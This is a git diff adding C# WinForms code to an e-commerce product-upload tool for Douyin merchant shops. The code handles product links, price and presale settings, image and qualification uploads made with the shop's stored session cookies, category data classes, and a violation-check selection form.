uploadParam.isAutoSaveUploadFailedProduct; + } + catch + { + } + } + + private void dgvProduct_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var goodsId = dgvProduct.Rows[e.RowIndex].Cells["productIdColumn"].Value.ToString(); + var upId = dgvProduct.Rows[e.RowIndex].Cells["idColumn"].Value.ToString(); + var from = dgvProduct.Rows[e.RowIndex].Cells["fromColumn"].Value.ToString(); + var columnName = dgvProduct.Columns[e.ColumnIndex].Name; + if (columnName == "productIdColumn") + { + string url = "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsId; + GetHtml.OpenUrl(url); + } + else if (columnName == "idColumn") + { + var url = ""; + if (from == "淘宝") + url = "https://item.taobao.com/item.htm?id=" + upId; + else if (from == "阿里巴巴") + url = "https://detail.1688.com/offer/" + upId + ".html"; + else if (from == "微店") + url = "https://weidian.com/item.html?itemID=" + upId; + else if (from == "京喜") + url = "https://item.m.jd.com/product/" + upId + ".html"; + else if (from == "拼多多") + url = "http://mobile.yangkeduo.com/goods.html?goods_id=" + upId; + else if (from == "抖音" || from == "") + url = "https://haohuo.jinritemai.com/views/product/detail?id=" + upId; + GetHtml.OpenUrl(url); + } + else if (columnName == "messageColumn") + { + if (dgvProduct.Rows[e.RowIndex].Cells["messageColumn"].Value.ToString() == "请去店铺后台创建产品尺码表!") + { + var url = "https://fxg.jinritemai.com/ffa/g/size-chart/manage"; + var shopName = dgvProduct.Rows[e.RowIndex].Cells["shopNameColumn"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccount == shopName); + if (shop != null) + { + var cookieStrArr = shop.Cookies.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + var cookieList = new List(); + foreach (var cookieStr in cookieStrArr) + { + cookieList.Add(new CefSharp.Cookie + { + Domain = ".jinritemai.com", + Name = cookieStr.Split('=').FirstOrDefault(), + Value = cookieStr.Split('=').LastOrDefault(), + Expires = DateTime.Now.AddMonths(1), + Path = "/" + }); + } + + CefForm cf = new CefForm(url, cookieList); + cf.ShowDialog(); + } + } + } + } + + private void lowPricePercenttextBox_TextChanged(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(lowPricePercenttextBox.Text)) + UploadProductBLL.LowPricePercent = decimal.Parse(lowPricePercenttextBox.Text); + } + + private void lowPriceAddtextBox_TextChanged(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(lowPriceAddtextBox.Text) && lowPriceAddtextBox.Text != "-") + UploadProductBLL.LowPriceAdd = decimal.Parse(lowPriceAddtextBox.Text); + if (comboBox5.SelectedItem.ToString() != "+") + UploadProductBLL.LowPriceAdd = -UploadProductBLL.LowPriceAdd; + } + + private void lowPricecheckBox_CheckedChanged(object sender, EventArgs e) + { + UploadProductBLL.LowPriceSku = lowPricecheckBox.Checked; + } + + private void endDateTimePicker_ValueChanged(object sender, EventArgs e) + { + + } + + private void comboBox3_SelectedIndexChanged(object sender, EventArgs e) + { + sendTime.Visible = false; + cmbSendDayAfterPre.Visible = false; + label12.Visible = false; + label8.Visible = false; + endDateTimePicker.Visible = false; + cmbNewPreTime.Visible = lblNewPreTime.Visible = false; + + if (cmbSendType.SelectedItem.ToString() == "预售发货") + { + sendTime.Visible = true; + cmbSendDayAfterPre.Visible = true; + label12.Visible = true; + label8.Visible = true; + endDateTimePicker.Visible = true; + } + else if (cmbSendType.SelectedItem.ToString() == "新预售" || cmbSendType.SelectedItem.ToString() == "现货-预售") + { + cmbNewPreTime.Visible = lblNewPreTime.Visible = true; + } + } + + private void chkIsSetCommission_CheckedChanged(object sender, EventArgs e) + { + UploadProductBLL.IsSetCommission = chkIsSetCommission.Checked; + } + + private void txtRatio_TextChanged(object sender, EventArgs e) + { + UploadProductBLL.CommissionRatio = txtRatio.Text.ParseToInt(); + } + + private void lblWaitUpload_Click(object sender, EventArgs e) + { + //return; + if (webBrowser != null && btn != null) + { + webBrowser.BringToFront(); + btn.BringToFront(); + } + } + + private void buttonEx2_Click_1(object sender, EventArgs e) + { + OpenFileDialog dialog = new OpenFileDialog(); + dialog.Multiselect = false;//该值确定是否可以选择多个文件 + dialog.Title = "请选择文件夹"; //窗体标题 + dialog.Filter = "图片文件(*.jpg,*.png,*.jpeg)|*.jpg;*.png;*.jpeg"; + //dialog.Filter = "图片文件(*.jpg,*.jpeg,*.png)|*.jpg|*.jpeg|*.png|*.bmp|*.gif"; //文件筛选 + dialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer); + if (dialog.ShowDialog() == DialogResult.OK) + { + string file = dialog.FileName;//文件夹路径 + string path = file.Substring(file.LastIndexOf("\\") + 1); //格式化处理,提取文件名 + FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read); + byte[] img = new byte[fs.Length]; + BinaryReader br = new BinaryReader(fs);//二进制读取器 + img = br.ReadBytes(Convert.ToInt32(fs.Length)); + UploadProductBLL.img = img; + new Thread(SetFixedImage).Start(); + } + } + public void SetFixedImage() + { + string baseImageUrl = HttpPostDataImage("https://fxg.jinritemai.com/common/img/batchupload?_bid=ffa_goods", "https://fxg.jinritemai.com/ffa/g/create", UploadProductBLL.img); + UploadProductBLL.baseImageUrl = BaseRegex.GetMatchRegexString(baseImageUrl, @"\[""([\w\W]+?)""\]"); + FileBase.WriteAllText("temp/imageUrl.txt", UploadProductBLL.baseImageUrl, Encoding.UTF8); + } + private static string HttpPostDataImage(string url, string referer, byte[] file) + { + var shop = GlobalConfig.DouShopLoginList.Where(s => s.LoginStatus == "登录成功").FirstOrDefault(); + if (shop == null) + return ""; + string responseContent = ""; + string cookie = shop.Cookies; + if (string.IsNullOrEmpty(cookie)) + { + return ""; + } + var memStream = new MemoryStream(); + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----WebKitFormBoundaryQ6FNeGKnNmZqtskD"; + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + // 边界符 + var secondBoundary = Encoding.ASCII.GetBytes("\r\n--" + boundary + "\r\n"); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("\r\n--" + boundary + "--"); + + // 设置属性 + webRequest.Method = "POST"; + webRequest.KeepAlive = true; + webRequest.Timeout = 5000; + webRequest.ReadWriteTimeout = 5000; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + webRequest.Referer = referer; + webRequest.Accept = "*/*"; + webRequest.UserAgent = BaseClass.ChromeUserAgent; + webRequest.Headers.Add("Cookie", cookie); + webRequest.Headers.Add("Origin", @"https://fxg.jinritemai.com"); + //webRequest.Headers.Add("Sec-Fetch-Site", @"same-site"); + //webRequest.Headers.Add("Sec-Fetch-Mode", @"cors"); + webRequest.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + webRequest.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + webRequest.Headers.Set(HttpRequestHeader.Cookie, cookie); + webRequest.ServicePoint.Expect100Continue = false; + + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + var header = string.Format(filePartHeader, "image[0]", "标签.jpg"); + var headerbytes = Encoding.UTF8.GetBytes(header); + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + // 写入文件 + memStream.Write(file, 0, file.Length); + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + webRequest.ContentLength = memStream.Length; + using (Stream stream = webRequest.GetRequestStream()) + { + memStream.WriteTo(stream); + } + var httpWebResponse = (HttpWebResponse)webRequest.GetResponse(); + if (httpWebResponse != null) + { + if (string.IsNullOrEmpty(responseContent)) + responseContent = ReadResponsex(httpWebResponse); + httpWebResponse.Close(); + } + return responseContent; + } + + public static string ReadResponsex(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + //private string GetShopDetail(string productId) + //{ + // HttpWebResponse response = null; + // string result; + // try + // { + // string url = "https://ec.snssdk.com/product/getstock?id=3493426708055488550&add_cart=0&b_type_new=0&device_id=0&is_outside=1"; + + // HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + // request.ContentType = "application/x-www-form-urlencoded"; + // request.Referer = "https://haohuo.jinritemai.com/"; + // request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.509"; + // request.Headers.Add("origin", @"https://haohuo.jinritemai.com"); + + // response = (HttpWebResponse)request.GetResponse(); + // } + // catch (WebException ex) + // { + // if (ex.Status == WebExceptionStatus.ProtocolError) + // { + // response = (HttpWebResponse)ex.Response; + // result = GetProxyHtml.ReadResponse(response); + // return result; + // } + // else return ex.Message; + // } + // catch (Exception e) + // { + // if (response != null) response.Close(); + // return e.Message; + // } + // result = GetProxyHtml.ReadResponse(response); + // return result; + //} + + #region 数据净化数据导入相关静态函数 + /// + /// 从数据净化导入数据 + /// + /// + /// + public static string ImportFromFission(List pcbList) + { + if (instance != null) + instance.ImportFormFissionData(pcbList); + else + lstFissionPcb.AddRange(pcbList); + + return "ok"; + } + #endregion + + private void ImportFormFissionData(List pcbs) + { + foreach (var pcb in pcbs) + { + TaobaoProductBase t = new TaobaoProductBase(); + t.TolerantFormId = pcb.from_id.ToString(); + t.FromId = pcb.from_id; + t.ViPrice = ""; + t.ViGoodsId = 0; + t.FromType = pcb.from; + t.Titlte = pcb.name.Replace("\",\"", ""); + t.pcb = pcb; + if (!UploadProductBLL.ProductStock.Exists(p => p != null && p.FromId == t.FromId && p.Titlte == t.Titlte)) + { + UploadProductBLL.ProductStock.Add(t); + DataBaseTemp.Add(t); + batchDataBaseTemp.Add(t); + if (batchDataBaseTemp.Count > 50) + { + AddListToDataBaseSingle(batchDataBaseTemp); + batchDataBaseTemp.Clear(); + ReMain(); + } + } + } + if (batchDataBaseTemp.Count > 0) + { + AddListToDataBaseSingle(batchDataBaseTemp); + batchDataBaseTemp.Clear(); + ReMain(); + } + } + + private void chkRandomMainImage_CheckedChanged(object sender, EventArgs e) + { + } + + private void chkSaveToOffLine_CheckedChanged(object sender, EventArgs e) + { + + } + + FlowLayoutPanel pnlViolateCheck = null; + private void btnSetViolateCheck_Click(object sender, EventArgs e) + { + UploadProductViolateSelectForm f = new UploadProductViolateSelectForm(); + f.ShowDialog(); + return; + + if (pnlViolateCheck == null) + { + pnlViolateCheck = new FlowLayoutPanel(); + pnlViolateCheck.AutoScroll = true; + pnlViolateCheck.Anchor = AnchorStyles.Top; + pnlViolateCheck.BorderStyle = BorderStyle.FixedSingle; + pnlViolateCheck.SetAutoScrollMargin(10, 10); + this.Controls.Add(pnlViolateCheck); + + // 读取违规信息规则名称列表 + ViolateManageForm.GetAllViolateRuleName(); + // 显示违规信息规则名称列表 + ViolateManageForm.SetViolateSelectList(pnlViolateCheck); + } + pnlViolateCheck.Width = this.Width - 150; + pnlViolateCheck.Height = this.Height - 300; + pnlViolateCheck.Location = new Point((this.Width - pnlViolateCheck.Width) / 2, 58); + + if (btnSetViolateCheck.Text == "设置") + { + pnlViolateCheck.Visible = true; + pnlViolateCheck.BringToFront(); + btnSetViolateCheck.Text = "关闭"; + } + else + { + pnlViolateCheck.Visible = false; + pnlViolateCheck.SendToBack(); + btnSetViolateCheck.Text = "设置"; + } + } + + private void chkMultiUpload_CheckedChanged(object sender, EventArgs e) + { + lblFromTo.Visible = lblFromTo2.Visible = txtMultiple2.Visible = cmbPlusOrMinus2.Visible = txtPostage2.Visible = chkMultiUpload.Checked; + } + + private void txtSetBrand_TextChanged(object sender, EventArgs e) + { + //string result = ""; + //while (result == "" || result.Contains("已过期")) + //{ + // var dyShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ApiAuthStatus == "授权成功"); + // if (dyShop == null) + // { + // BaseMsgForm.ShowError("请确保至少有一个店铺授权成功!"); + // return; + // } + // var api = new DouyinApi(dyShop); + // api.JsonData["category_id"] = detailDataPcb.cat_id.ToString(); + // var textQuery = txt.Text.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).LastOrDefault(); + // api.JsonData["query"] = textQuery == null ? "" : textQuery; // "JIXIN/积鑫"; + // result = api.cateBrandList(); + //} + // + //try + //{ + // var jArr = JObject.Parse(result)["data"]["brand_list"] as JArray; + // ShowBrandList(jArr, txt); + //} + //catch (Exception ex) { } + } + + private void btn上传质检报告_Click(object sender, EventArgs e) + { + var imageUrl = uploadQualificationFile("3457058945162709852", "质检报告"); + if (!string.IsNullOrEmpty(imageUrl)) this.pictureBox3.Load(imageUrl); + } + + private void btn上传包装标签图_Click(object sender, EventArgs e) + { + var imageUrl = uploadQualificationFile("6966228537426575660", "包装标签图"); + if (!string.IsNullOrEmpty(imageUrl)) this.pictureBox2.Load(imageUrl); + } + + private void btn上传食品许可证_Click(object sender, EventArgs e) + { + var imageUrl = uploadQualificationFile("6921664837978194184", "食品生产许可证"); + if (!string.IsNullOrEmpty(imageUrl)) this.pictureBox1.Load(imageUrl); + } + + private string uploadQualificationFile(string qualityKey, string qualityName) + { + var uploadResult = new FissionBrowserObject().addLocalPic(false); + if (uploadResult.Contains("\"msg\":\"success\"")) + { + var qualificationFile = new quality_file(); + qualificationFile.quality_key = qualityKey; + qualificationFile.quality_name = qualityName; + if (qualityName == "食品生产许可证") + { + var prop = UploadProductBLL.sGlobalPropList.FirstOrDefault(pr => pr.Key == "食品生产许可证编号"); + if (prop != null) + qualificationFile.quality_number = prop.Value; + } + if (qualificationFile.quality_attachments == null) + qualificationFile.quality_attachments = new List(); + + var imageUrl = BaseRegex.GetStringJson(ref uploadResult, "src")?.Replace("\\/", "/"); + if (!string.IsNullOrEmpty(imageUrl)) + { + qualificationFile.quality_attachments.Clear(); + qualificationFile.quality_attachments.Add(new quality_attachment { media_type = 1, url = imageUrl }); + UploadProductBLL.sGlobalQualifications.RemoveAll(q => q.quality_name == qualificationFile.quality_name); + UploadProductBLL.sGlobalQualifications.Add(qualificationFile); + + NaiBa.Util.Helper.ConfigHelper.SaveConfig("global_qualifications", UploadProductBLL.sGlobalQualifications); + return imageUrl; + } + } + return ""; + } + + private void txt食品生产许可证号_TextChanged(object sender, EventArgs e) + { + UploadProductBLL.sGlobalPropList.RemoveAll(kv => kv.Key == "食品生产许可证编号"); + if (!string.IsNullOrEmpty(txt食品生产许可证编号.Text.Trim())) + { + UploadProductBLL.sGlobalPropList.Add(new KeyValueBase("食品生产许可证编号", txt食品生产许可证编号.Text.Trim())); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("global_prop_list", UploadProductBLL.sGlobalPropList); + + var Qualifications = UploadProductBLL.sGlobalQualifications.FirstOrDefault(q => q.quality_name == "食品生产许可证"); + if (Qualifications != null) + { + Qualifications.quality_number = txt食品生产许可证编号.Text.Trim(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("global_qualifications", UploadProductBLL.sGlobalQualifications); + } + } + } + + private void txt生产企业名称_TextChanged(object sender, EventArgs e) + { + UploadProductBLL.sGlobalPropList.RemoveAll(kv => kv.Key == "生产企业名称"); + if (!string.IsNullOrEmpty(txt生产企业名称.Text.Trim())) + { + UploadProductBLL.sGlobalPropList.Add(new KeyValueBase("生产企业名称", txt生产企业名称.Text.Trim())); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("global_prop_list", UploadProductBLL.sGlobalPropList); + } + } + + private void txtBrand_TextChanged(object sender, EventArgs e) + { + UploadProductBLL.sGlobalPropList.RemoveAll(kv => kv.Key == "品牌"); + if (!string.IsNullOrEmpty(txtBrand.Text.Trim())) + { + UploadProductBLL.sGlobalPropList.Add(new KeyValueBase("品牌", txtBrand.Text.Trim())); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("global_prop_list", UploadProductBLL.sGlobalPropList); + } + } + + private void dgvProduct_RowsAdded(object sender, DataGridViewRowsAddedEventArgs e) + { + var row = dgvProduct.Rows[e.RowIndex]; + if (row.Cells["messageColumn"].Value.ToString() == "请去店铺后台创建产品尺码表!") + { + var font = dgvProduct.RowsDefaultCellStyle.Font; + row.Cells["messageColumn"].Style.Font = new Font(font.FontFamily, font.Size, FontStyle.Underline); + } + } + + private void chkSaveUploadFailed_CheckedChanged(object sender, EventArgs e) + { + + } + } + + public class OpenApiResponseBase + { + public string msg = ""; + private int tpl_type = 0; + private int page = 0; + private int size = 0; + private int st = 0; + public int code = 0; + public int total = 0; + public List data + { + get; + set; + } + public OpenApiResponseBase() + { + } + } + public class PropertiesBase + { + public string hint = ""; + public int multi_select_max = 0; + public int property_type = 0; + public string property_id = ""; + public int sequence = 0; + public int relation_id = 0; + public string name + { + get; + set; + } + public int required + { + get; + set; + } + public string type + { + get; + set; + } + public List options + { + get; + set; + } + public PropertiesBase() + { + } + } + public class PropertiesValuesBase + { + public string name + { + get; + set; + } + public string value + { + get; + set; + } + public PropertiesValuesBase() + { + + } + } + + + public class FxgCatBase + { + /// + /// + /// + public int id { get; set; } + /// + /// 名称 + /// + public string name { get; set; } + /// + /// 类目ID + /// + public int parent_cid { get; set; } + /// + /// 层级 + /// + public int level { get; set; } + /// + /// + /// + public int enable { get; set; } + /// + /// 叶子节点 + /// + public string is_leaf { get; set; } + /// + /// + /// + public string extra { get; set; } + } + public class CategoryResult + { + /// + /// + /// + public int st { get; set; } + /// + /// + /// + public string msg { get; set; } + /// + /// + /// + public int code { get; set; } + /// + /// + /// + public List data { get; set; } + /// + /// + /// + public int page { get; set; } + /// + /// + /// + public int size { get; set; } + /// + /// + /// + public int total { get; set; } + } + public class FxgCatLevel + { + /// + /// + /// + public int id { get; set; } + /// + /// 名称 + /// + public string name { get; set; } + /// + /// 类目ID + /// + public int cat1id { get; set; } + /// + /// 名称 + /// + public string cat1name { get; set; } + /// + /// 类目ID + /// + public int cat2id { get; set; } + /// + /// 名称 + /// + public string cat2name { get; set; } + /// + /// 类目ID + /// + public int cat3id { get; set; } + /// + /// 名称 + /// + public string cat3name { get; set; } + /// + /// 类目ID + /// + public int cat4id { get; set; } + /// + /// 名称 + /// + public string cat4name { get; set; } + /// + /// 层级 + /// + public int level { get; set; } + /// + /// 叶子节点 + /// + public string is_leaf { get; set; } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductForm.resx b/TEMUKJD/KJDForms/UploadForms/UploadProductForm.resx new file mode 100644 index 0000000..67c0085 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductForm.resx @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.Designer.cs new file mode 100644 index 0000000..14821a2 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.Designer.cs @@ -0,0 +1,166 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class UploadProductViolateSelectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(UploadProductViolateSelectForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.pnlViolateCheck = new System.Windows.Forms.FlowLayoutPanel(); + this.btnAll = new DevComponents.DotNetBar.PanelEx(); + this.btnAllSerious = new DevComponents.DotNetBar.PanelEx(); + this.btnNone = new DevComponents.DotNetBar.PanelEx(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.btnNone); + this.panel2.Controls.Add(this.btnAllSerious); + this.panel2.Controls.Add(this.btnAll); + this.panel2.Controls.Add(this.pnlViolateCheck); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1198, 566); + this.panel2.TabIndex = 1; + // + // pnlViolateCheck + // + this.pnlViolateCheck.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlViolateCheck.AutoScroll = true; + this.pnlViolateCheck.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pnlViolateCheck.Location = new System.Drawing.Point(5, 33); + this.pnlViolateCheck.Name = "pnlViolateCheck"; + this.pnlViolateCheck.Size = new System.Drawing.Size(1186, 526); + this.pnlViolateCheck.TabIndex = 432; + // + // btnAll + // + this.btnAll.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnAll.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAll.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAll.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAll.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAll.Location = new System.Drawing.Point(5, 6); + this.btnAll.Name = "btnAll"; + this.btnAll.Size = new System.Drawing.Size(100, 23); + this.btnAll.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAll.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAll.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAll.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnAll.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnAll.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnAll.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnAll.Style.GradientAngle = 90; + this.btnAll.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAll.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAll.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAll.TabIndex = 446; + this.btnAll.Text = "选择全部违规"; + this.btnAll.Click += new System.EventHandler(this.btnAll_Click); + // + // btnAllSerious + // + this.btnAllSerious.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnAllSerious.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAllSerious.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAllSerious.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAllSerious.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAllSerious.Location = new System.Drawing.Point(109, 6); + this.btnAllSerious.Name = "btnAllSerious"; + this.btnAllSerious.Size = new System.Drawing.Size(100, 23); + this.btnAllSerious.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAllSerious.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAllSerious.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAllSerious.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnAllSerious.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnAllSerious.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnAllSerious.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnAllSerious.Style.GradientAngle = 90; + this.btnAllSerious.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAllSerious.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAllSerious.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAllSerious.TabIndex = 450; + this.btnAllSerious.Text = "选择严重违规"; + this.btnAllSerious.Click += new System.EventHandler(this.btnAllSerious_Click); + // + // btnNone + // + this.btnNone.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnNone.CanvasColor = System.Drawing.SystemColors.Control; + this.btnNone.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnNone.DisabledBackColor = System.Drawing.Color.Empty; + this.btnNone.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btnNone.Location = new System.Drawing.Point(213, 6); + this.btnNone.Name = "btnNone"; + this.btnNone.Size = new System.Drawing.Size(100, 23); + this.btnNone.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnNone.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnNone.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnNone.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnNone.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnNone.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnNone.Style.GradientAngle = 90; + this.btnNone.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnNone.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnNone.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnNone.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnNone.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnNone.TabIndex = 458; + this.btnNone.Text = "清除所有选择"; + this.btnNone.Click += new System.EventHandler(this.btnNone_Click); + // + // UploadProductViolateSelectForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(1200, 600); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "UploadProductViolateSelectForm"; + this.Text = "云违规排查选项"; + this.TitleText = "云违规排查选项"; + this.Load += new System.EventHandler(this.UploadProductViolateSelectForm_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.FlowLayoutPanel pnlViolateCheck; + private DevComponents.DotNetBar.PanelEx btnAllSerious; + private DevComponents.DotNetBar.PanelEx btnAll; + private DevComponents.DotNetBar.PanelEx btnNone; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.cs b/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.cs new file mode 100644 index 0000000..5ab68c6 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Generic; +using 